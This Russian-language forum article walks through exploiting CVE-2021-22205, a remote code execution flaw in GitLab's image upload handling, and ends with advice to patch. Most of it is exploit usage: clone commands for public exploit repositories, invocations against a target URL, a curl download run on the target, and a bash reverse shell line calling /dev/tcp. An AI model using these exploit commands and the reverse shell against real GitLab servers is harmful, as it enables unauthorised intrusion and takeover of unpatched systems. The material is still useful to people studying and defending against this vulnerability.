Статья СVE-2021-22205 - удаленное выполнение кода на серверах Gitlab

GitLab.png


Привет, честно признаться, я никогда не пытался писать заметки такого рода, поэтому простите, если что не так. Прочтите, пожалуйста, сначала дисклеймер:

Дисклеймер


На самом деле я против зла и то, что я покажу вам далее, может быть, практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект - это знания.

СVE-2021-22205 - удаленное выполнение кода на серверах Gitlab

Говорим сегодня о уязвимости, позволяющей выполнять удаленные команды на серверах, где установлен Gitlab версией ниже 13.10.3.
При выгрузке изображений в GitLab Workhouse любой формат изображений передается в ExifTool ( утилита, позволяющая стирать все метаданные, кто не знал ). Один из поддерживаемых форматов - DjVu. При синтаксическом анализе аннотации DjVu токены преобразуются в некие управляющие последовательности С, что в дальнейшем и дает возможность эксплуатации.

Screenshot_2021-11-06_23_52_53.png


C описанием автора можно ознакомиться

Процесс установки самого эксплоита будет таковым:
Код:
git clone https://github.com/mr-r3bot/Gitlab-CVE-2021-22205.git
cd Gitlab-CVE-2021-22205

Прежде нужно удостовериться имеются ли библиотеки djvumake & djvulibre, установить можно следующей командой:
Код:
sudo apt-get install -y djvulibre-bin

После ввода следующей команды, выполняем её на удаленной машине:
Код:
python3 exploit.py -t <gitlab_url> -c <command>

Screenshot_2021-11-06_23_55_51.png


Останавливаться на этом смысла не вижу, поэтому давайте разберем более продуманный эксплоит по этой уязвимости.

Некий умелый пользователь Гитхаб разработал на базе предыдущего скрипт, который умеет проверять уязвим ли хост на предмет эксплуатаци:
Код:
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com

Кстати установить его можно так:
Код:
git clone https://github.com/Al1ex/CVE-2021-22205.git

Видим, что устройство подвержено атаке, давайте теперь попробуем выполнить какую-то команду, к примеру скачаем какой-то файл из Интернет, а будет это кстати простенький текстовый документ:
Код:
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl curl -O https://firezilla.com/codeby.txt"

Можем вывести какое-то сообщение в терминал и открыть сам codeby.txt:
Код:
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo ‘Special for codeby.com’ > /tmp/codeby.txt"

Screenshot_2021-11-07_01_18_14.png


Также если через курл выгрузить любую полезную нагрузку и запустить слушатель - успех. Показывать не буду, банально.

А вот таким макаром можно втулить реверс шелл:
Код:
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"


Выводы


На момент написание этой статьи около 30.000 серверов остаются непропатчеными. Примечательно, что фиксы этой уязвимости были выпущены сверх полгода назад. Согласно сообщению GitLab от апреля 2021 года , CVE-2021-22205 влияет на все версии GitLab Enterprise Edition (EE) и GitLab Community Edition (CE), начиная с 11.9. Уязвимость исправлена в следующих версиях: 13.10.3 13.9.6 13.8.8. Единственным гарантированным методом обезопасить себя - есть обновление. На этом у меня всё.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!